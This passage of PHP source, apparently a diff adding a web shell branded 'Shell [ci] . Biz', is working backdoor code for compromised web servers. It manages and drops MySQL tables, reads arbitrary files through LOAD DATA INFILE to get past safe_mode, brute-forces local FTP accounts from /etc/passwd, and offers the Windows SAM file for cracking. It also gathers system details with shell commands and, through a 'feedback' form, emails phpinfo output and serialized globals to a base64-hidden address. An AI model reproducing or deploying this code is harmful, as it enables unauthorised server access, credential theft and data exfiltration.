value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b></b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called Shell [ci] . Biz ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (k1r4ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"Shell [ci] . Biz ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using Shell [ci] . Biz".$shver."!"; k1r4exit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = k1r4_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("ZnJlZXNoZWxsNTEwQGdtYWlsLmNvbQ=="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "Shell [ci] . Biz".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"Shell [ci] . Biz".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {k1r4fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only 